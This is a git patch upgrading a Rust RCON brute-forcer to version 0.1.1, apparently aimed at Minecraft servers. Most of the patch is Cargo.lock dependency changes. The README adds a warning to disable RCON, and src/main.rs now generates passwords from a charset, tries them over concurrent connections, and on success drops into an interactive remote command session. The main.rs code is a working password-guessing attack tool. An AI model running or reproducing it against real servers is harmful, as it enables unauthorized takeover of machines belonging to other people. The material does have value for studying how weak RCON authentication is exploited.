From fdafbc0c6f2ed76397127b8cd50e569ab071ed75 Mon Sep 17 00:00:00 2001 From: kawaiinekololis Date: Sun, 25 Apr 2021 18:22:57 +0200 Subject: [PATCH] v.0.1.1 --- Cargo.lock | 401 +++++++++++++++++++++++++++++++++++++++++----------- Cargo.toml | 13 +- README.md | 16 ++- src/main.rs | 122 +++++++++++----- 4 files changed, 427 insertions(+), 125 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index af0ec44..8b4291c 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1,5 +1,33 @@ # This file is automatically @generated by Cargo. # It is not intended for manual editing. +version = 3 + +[[package]] +name = "ansi_term" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee49baf6cb617b853aa8d93bf420db2383fab46d314482ca2803b40d5fde979b" +dependencies = [ + "winapi", +] + +[[package]] +name = "atty" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" +dependencies = [ + "hermit-abi", + "libc", + "winapi", +] + +[[package]] +name = "autocfg" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a" + [[package]] name = "bitflags" version = "1.2.1" @@ -7,16 +35,30 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cf1de2fe8c75bc145a2f577add951f8134889b4795d47466a54a5c846d691693" [[package]] -name = "bytes" -version = "0.5.6" +name = "bruteforce" +version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e4cec68f03f32e44924783795810fa50a7035d8c8ebe78580ad7e6c703fba38" +checksum = "09edc75a503f874d56d7b38f01c88c3852deea3e5f93c7afea97e85b385fe30d" +dependencies = [ + "bruteforce-macros", + "no-std-compat", +] [[package]] -name = "cfg-if" -version = "0.1.10" +name = "bruteforce-macros" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9061159b4b251892dfc59fa0f5c1ca2a63f16cfbd71d863985a07ea0b64f983" +dependencies = [ + "no-std-compat", + "quote", +] + +[[package]] +name = "bytes" +version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822" +checksum = "b700ce4376041dcd0a327fd0097c41095743c4c8af8887265942faf1100bd040" [[package]] name = "cfg-if" @@ -24,6 +66,20 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" +[[package]] +name = "clap" +version = "2.33.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37e58ac78573c40708d45522f0d80fa2f01cc4f9b4e2bf749807255454312002" +dependencies = [ + "ansi_term", + "atty", + "bitflags", + "strsim", + "textwrap", + "unicode-width", +] + [[package]] name = "console" version = "0.14.1" @@ -36,7 +92,7 @@ dependencies = [ "regex", "terminal_size", "unicode-width", - "winapi 0.3.8", + "winapi", ] [[package]] @@ -47,9 +103,9 @@ checksum = "a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f" [[package]] name = "err-derive" -version = "0.2.4" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "22deed3a8124cff5fa835713fa105621e43bbdc46690c3a6b68328a012d350d4" +checksum = "dcc7f65832b62ed38939f98966824eb6294911c3629b0e9a262bfb80836d9686" dependencies = [ "proc-macro-error", "proc-macro2", @@ -60,38 +116,113 @@ dependencies = [ ] [[package]] -name = "fuchsia-zircon" -version = "0.3.3" +name = "futures" +version = "0.3.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82" +checksum = "a9d5813545e459ad3ca1bff9915e9ad7f1a47dc6a91b627ce321d5863b7dd253" dependencies = [ - "bitflags", - "fuchsia-zircon-sys", + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce79c6a52a299137a6013061e0cf0e688fce5d7f1bc60125f520912fdb29ec25" +dependencies = [ + "futures-core", + "futures-sink", ] [[package]] -name = "fuchsia-zircon-sys" -version = "0.3.3" +name = "futures-core" +version = "0.3.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3dcaa9ae7725d12cdb85b3ad99a434db70b468c09ded17e012d86b5c1010f7a7" +checksum = "098cd1c6dda6ca01650f1a37a794245eb73181d0d4d4e955e2f3c37db7af1815" [[package]] -name = "iovec" -version = "0.1.4" +name = "futures-executor" +version = "0.3.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2b3ea6ff95e175473f8ffe6a7eb7c00d054240321b84c57051175fe3c1e075e" +checksum = "10f6cb7042eda00f0049b1d2080aa4b93442997ee507eb3828e8bd7577f94c9d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "365a1a1fb30ea1c03a830fdb2158f5236833ac81fa0ad12fe35b29cddc35cb04" + +[[package]] +name = "futures-macro" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "668c6733a182cd7deb4f1de7ba3bf2120823835b3bcfbeacf7d2c4a773c1bb8b" +dependencies = [ + "proc-macro-hack", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5629433c555de3d82861a7a4e3794a4c40040390907cfbfd7143a92a426c23" + +[[package]] +name = "futures-task" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba7aa51095076f3ba6d9a1f702f74bd05ec65f555d70d2033d55ba8d69f581bc" + +[[package]] +name = "futures-util" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c144ad54d60f23927f0a6b6d816e4271278b64f005ad65e4e35291d2de9c025" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "proc-macro-hack", + "proc-macro-nested", + "slab", +] + +[[package]] +name = "hermit-abi" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "322f4de77956e22ed0e5032c359a0f1273f1f7f0d79bfa3b8ffbc730d7fbcc5c" dependencies = [ "libc", ] [[package]] -name = "kernel32-sys" -version = "0.2.2" +name = "instant" +version = "0.1.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d" +checksum = "61124eeebbd69b8190558df225adf7e4caafce0d743919e5d6b19652314ec5ec" dependencies = [ - "winapi 0.2.8", - "winapi-build", + "cfg-if", ] [[package]] @@ -102,9 +233,18 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] name = "libc" -version = "0.2.66" +version = "0.2.93" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d515b1f41455adea1313a4a2ac8a8a477634fbae63cc6100e3aebb207ce61558" +checksum = "9385f66bf6105b241aa65a61cb923ef20efc665cb9f9bb50ac2f0c4b7f378d41" + +[[package]] +name = "lock_api" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a3c91c24eae6777794bb1997ad98bbb87daf92890acab859f7eaa4320333176" +dependencies = [ + "scopeguard", +] [[package]] name = "log" @@ -112,7 +252,7 @@ version = "0.4.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", ] [[package]] @@ -123,51 +263,93 @@ checksum = "0ee1c47aaa256ecabcaea351eae4a9b01ef39ed810004e298d2511ed284b1525" [[package]] name = "mio" -version = "0.6.23" +version = "0.7.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4afd66f5b91bf2a3bc13fad0e21caedac168ca4c707504e75585648ae80e4cc4" +checksum = "cf80d3e903b34e0bd7282b218398aec54e082c840d9baf8339e0080a0c542956" dependencies = [ - "cfg-if 0.1.10", - "fuchsia-zircon", - "fuchsia-zircon-sys", - "iovec", - "kernel32-sys", "libc", "log", "miow", - "net2", - "slab", - "winapi 0.2.8", + "ntapi", + "winapi", ] [[package]] name = "miow" -version = "0.2.2" +version = "0.3.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ebd808424166322d4a38da87083bfddd3ac4c131334ed55856112eb06d46944d" +checksum = "b9f1c5b025cda876f66ef43a113f91ebc9f4ccef34843000e0adf6ebbab84e21" dependencies = [ - "kernel32-sys", - "net2", - "winapi 0.2.8", - "ws2_32-sys", + "winapi", ] [[package]] -name = "net2" -version = "0.2.37" +name = "no-std-compat" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55ed2a9e4507ff8c8e5c99395c86b9959aa0ba583321bd21d1feb742bf0baba2" + +[[package]] +name = "ntapi" +version = "0.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "391630d12b68002ae1e25e8f974306474966550ad82dac6886fb8910c19568ae" +checksum = "7a31937dea023539c72ddae0e3571deadc1414b300483fa7aaec176168cfa9d2" dependencies = [ - "cfg-if 0.1.10", + "winapi", +] + +[[package]] +name = "num_cpus" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05499f3756671c15885fee9034446956fff3f243d6077b91e5767df161f766b3" +dependencies = [ + "hermit-abi", "libc", - "winapi 0.3.8", +] + +[[package]] +name = "once_cell" +version = "1.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af8b08b04175473088b46763e51ee54da5f9a164bc162f615b91bc179dbf15a3" + +[[package]] +name = "parking_lot" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d7744ac029df22dca6284efe4e898991d28e3085c706c972bcd7da4a27a15eb" +dependencies = [ + "instant", + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa7a782938e745763fe6907fc6ba86946d72f49fe7e21de074e08128a99fb018" +dependencies = [ + "cfg-if", + "instant", + "libc", + "redox_syscall", + "smallvec", + "winapi", ] [[package]] name = "pin-project-lite" -version = "0.1.12" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc0e1f259c92177c30a4c9d177246edd0a3568b25756a977d0632cf8fa37e905" + +[[package]] +name = "pin-utils" +version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "257b64915a082f7811703966789728173279bdebb956b143dbcd23f6f970a777" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" [[package]] name = "proc-macro-error" @@ -193,6 +375,18 @@ dependencies = [ "version_check", ] +[[package]] +name = "proc-macro-hack" +version = "0.5.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbf0c48bc1d91375ae5c3cd81e3722dff1abcf81a30960240640d223f59fe0e5" + +[[package]] +name = "proc-macro-nested" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc881b2c22681370c6a780e47af9840ef841837bc98118431d4e1868bd0c1086" + [[package]] name = "proc-macro2" version = "1.0.26" @@ -213,9 +407,9 @@ dependencies = [ [[package]] name = "rcon" -version = "0.3.1" +version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3300d224a86f356aaccb64cfc4c02118dc6df1a14c3270440eb8cc8e948ae825" +checksum = "7d982f524250f15117766c710229add75d47c54c9ef654b8c7b5a4da49058750" dependencies = [ "err-derive", "tokio", @@ -223,10 +417,23 @@ dependencies = [ [[package]] name = "rcon_bruteforcer" -version = "0.1.0" +version = "0.1.1" dependencies = [ + "bruteforce", + "clap", "console", + "futures", "rcon", + "tokio", +] + +[[package]] +name = "redox_syscall" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8270314b5ccceb518e7e578952f0b72b88222d02e8f77f5ecf7abbb673539041" +dependencies = [ + "bitflags", ] [[package]] @@ -250,12 +457,39 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cb5d2a036dc6d2d8fd16fde3498b04306e29bd193bf306a57427019b823d5acd" +[[package]] +name = "scopeguard" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" + +[[package]] +name = "signal-hook-registry" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16f1d0fef1604ba8f7a073c7e701f213e056707210e9020af4528e0101ce11a6" +dependencies = [ + "libc", +] + [[package]] name = "slab" version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c111b5bd5695e56cffe5129854aa230b39c93a305372fdbb2668ca2394eea9f8" +[[package]] +name = "smallvec" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe0f37c9e8f3c5a4a66ad655a93c74daac4ad00c441533bf5c6e7990bb42604e" + +[[package]] +name = "strsim" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a" + [[package]] name = "syn" version = "1.0.69" @@ -286,22 +520,47 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "86ca8ced750734db02076f44132d802af0b33b09942331f4459dde8636fd2406" dependencies = [ "libc", - "winapi 0.3.8", + "winapi", +] + +[[package]] +name = "textwrap" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060" +dependencies = [ + "unicode-width", ] [[package]] name = "tokio" -version = "0.2.25" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6703a273949a90131b290be1fe7b039d0fc884aa1935860dfcbe056f28cd8092" +checksum = "83f0c8e7c0addab50b663055baf787d0af7f413a46e6e7fb9559a4e4db7137a5" dependencies = [ + "autocfg", "bytes", - "iovec", - "lazy_static", + "libc", "memchr", "mio", + "num_cpus", + "once_cell", + "parking_lot", "pin-project-lite", - "slab", + "signal-hook-registry", + "tokio-macros", + "winapi", +] + +[[package]] +name = "tokio-macros" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "caf7b11a536f46a809a8a9f0bb4237020f70ecbf115b842360afb127ea2fda57" +dependencies = [ + "proc-macro2", + "quote", + "syn", ] [[package]] @@ -322,12 +581,6 @@ version = "0.9.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5fecdca9a5291cc2b8dcf7dc02453fee791a280f3743cb0905f8822ae463b3fe" -[[package]] -name = "winapi" -version = "0.2.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a" - [[package]] name = "winapi" version = "0.3.8" @@ -338,12 +591,6 @@ dependencies = [ "winapi-x86_64-pc-windows-gnu", ] -[[package]] -name = "winapi-build" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc" - [[package]] name = "winapi-i686-pc-windows-gnu" version = "0.4.0" @@ -355,13 +602,3 @@ name = "winapi-x86_64-pc-windows-gnu" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" - -[[package]] -name = "ws2_32-sys" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d59cefebd0c892fa2dd6de581e937301d8552cb44489cdff035c6187cb63fa5e" -dependencies = [ - "winapi 0.2.8", - "winapi-build", -] diff --git a/Cargo.toml b/Cargo.toml index 5429f7f..344b0d8 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,9 +1,18 @@ [package] name = "rcon_bruteforcer" -version = "0.1.0" +version = "0.1.1" authors = ["Kawaii Neko Lolis "] edition = "2018" [dependencies] +tokio = { version = "1.0.0", features = ["full"] } +futures = "0.3" +bruteforce = "0.2.0" console = "0.14.1" -rcon = "0.3.1" \ No newline at end of file +rcon = "0.4.0" + +[dependencies.clap] +version = "2.33" +default-features = false + +features = [ "suggestions", "color" ] \ No newline at end of file diff --git a/README.md b/README.md index 74d1817..4de5025 100644 --- a/README.md +++ b/README.md @@ -1,17 +1,23 @@ # RCON Bruteforcer -Allows you to bruteforce any rcon based server +Allows you to bruteforce minecraft rcon server as quick as possible. -## Getting Started -Download a wordlist or generate one by yourself (using [crunch](https://github.com/crunchsec/crunch) as example) +## Reminder +This is nothing to be used in the real world and a reminder to disable RCON. +RCON is a very vulnerable way of accessing your server. +Please access your server over a Dashboard or SSH into your server. +## Getting Started Download latest binary from [releases](https://github.com/CCBlueX/RconBruteforcer/releases).\ -Execute binary: `./rcon-bruteforce [server] [dictionary]` +Execute binary: `./rcon-bruteforce [server]` ## Libraries +* [Tokio](https://crates.io/crates/tokio) - The IO async library +* [Futures](https://crates.io/crates/futures) - The future stream library +* [Bruteforce](https://crates.io/crates/bruteforce) - The password generator * [Console](https://crates.io/crates/console) - The ANSI console library * [Rcon](https://crates.io/crates/rcon) - The rcon connection library ## Authors -* **Kawaii Neko Lolis** - [GitHub](https://github.com/Marco09MC) / [Twitter](https://twitter.com/Marco_09MC) +* **kawaiinekololis** - [GitHub](https://github.com/kawaiinekololis) / [Twitter](https://twitter.com/kawaiinekololis) See also the list of [contributors](https://github.com/CCBlueX/RconBruteforcer/contributors) who participated in this project. \ No newline at end of file diff --git a/src/main.rs b/src/main.rs index e3b02ba..b801a55 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,66 +1,118 @@ -extern crate rcon; +extern crate clap; -use std::io::{stdin, BufReader, BufRead}; +use clap::{Arg, App}; +use std::io::stdin; +use futures::stream::{self, StreamExt}; +use charset::Charset; use rcon::Connection; use std::process::exit; -use std::env; -use std::fs::File; use console::style; +use bruteforce::*; +use std::net::SocketAddr; +use std::net::ToSocketAddrs; +use tokio::net::TcpStream; -fn main() { +#[tokio::main] +async fn main() { + let matches = App::new("RCON Bruteforcer") + .version("0.1.1") + .author("CCBlueX") + .about("Allows you to bruteforce RCON server.") + .arg(Arg::with_name("host") + .short("h") + .long("host") + .value_name("HOST") + .help("Set the target host (127.0.0.1:25575)") + .index(1) + .required(true)) + .arg(Arg::with_name("charset") + .short("s") + .long("charset") + .value_name("CHARSET") + .help("Specify the password charset") + .default_value("ABCDEFGHIJKLMNOPQRSTUVWXAZabcdefghijklmnopqrstuvwxyz123456789")) + .arg(Arg::with_name("concurrents") + .short("c") + .long("concurrents") + .value_name("CONCURRENTS") + .help("How many concurrent connections") + .default_value("10")) + .get_matches(); + // Welcome message println!("{} {} by {}", style("RCON").red().bold(), style("Bruteforcer").red(), style("CCBlueX").blue().bold()); + + let server = matches.value_of("host").unwrap(); + let concurrents = matches.value_of("concurrents").unwrap().parse::().unwrap(); + let string_charset = matches.value_of("charset").unwrap(); - // User input via launch arguments - let args: Vec = env::args().collect(); - - if args.len() <= 2 { - println!("./rcon-bruteforce [server] [dictionary]"); - return; - } - - // TODO: Check if addr is valid - let server = &args[1]; + let address = match server.to_socket_addrs() { + Ok(mut addrs) => { + addrs.next().unwrap() + }, + Err(_) => { + println!("{}", style(format!("{} is not a valid server address! Syntax: 127.0.0.1:25575", server)).red()); + return; + } + }; - // TODO: Add pattern support - let dict = &args[2]; // Just to verify user input - println!("{}: {}", style("Server").magenta(), server); - println!("{}: {}", style("Dictionary").magenta(), dict); + println!("{}: {} ({})", style("Server").magenta(), server, address); println!(); // Empty line break - match File::open(dict) { - Ok(file) => { - let reader = BufReader::new(file); + // Check if online + match TcpStream::connect(address).await { + Ok(_) => { + println!("{}", style(format!("{} seems to be online.", address)).green()); + // Stream is automatically being closed. Don't worry. + } + Err(_) => { + println!("{}", style(format!("{} seems to be offline.", address)).red()); + return; + } + } + + // Bruteforce + let charset = Charset::from(string_charset); + let bruteforce = BruteForce::new(charset); - // TODO: Add multi threading support - for line in reader.lines() { - connect(server, line.unwrap().as_str()) - } + let mut working_session = stream::iter( + bruteforce.into_iter().map(|password| check_password(address, password)) + ).buffer_unordered(concurrents); + + while let Some(response) = working_session.next().await { + if let Some(connection) = response { + handle_session(connection).await; + break; } - Err(e) => println!("{}", e) } } -fn connect(addr: &str, password: &str) { +async fn check_password(addr: SocketAddr, password: String) -> Option { + let connection_builder = Connection::builder() + .enable_minecraft_quirks(false); + // Connect to server and try password - match Connection::connect(addr, password) { + match connection_builder.connect(addr, &*password).await { Ok(conn) => { // Connection established with correct password println!("{}\n", style(format!("Connection established to {} using '{}' as password!", addr, password)).green().bold()); - handle_session(conn) + return Some(conn); }, // Connection failed or password wrong (Auth!) - Err(e) => println!("{}", style(format!("Connection failed to {} using '{}' because of {:?} error!", - addr, password, e)).red()) // Used {:?} for their names. As example "Auth" instead of "authentication failed" + Err(e) => { + println!("{}", style(format!("Connection failed to {} using '{}' because of {:?} error!", + addr, password, e)).red()); // Used {:?} for their names. As example "Auth" instead of "authentication failed" + return None; + } } } -fn handle_session(mut connection: Connection) { +async fn handle_session(mut connection: Connection) { let line = &mut String::new(); loop { @@ -68,10 +120,8 @@ fn handle_session(mut connection: Connection) { match stdin().read_line(line) { Ok(_) => { // Exec command - match connection.cmd(line) { + match connection.cmd(line).await { Ok(response) => println!("{}", response), // Successfully executed command - - // TODO: Fix library (IO error: Could not read enough bytes) Err(e) => println!("{}", e) // Something went wrong while sending command to server } }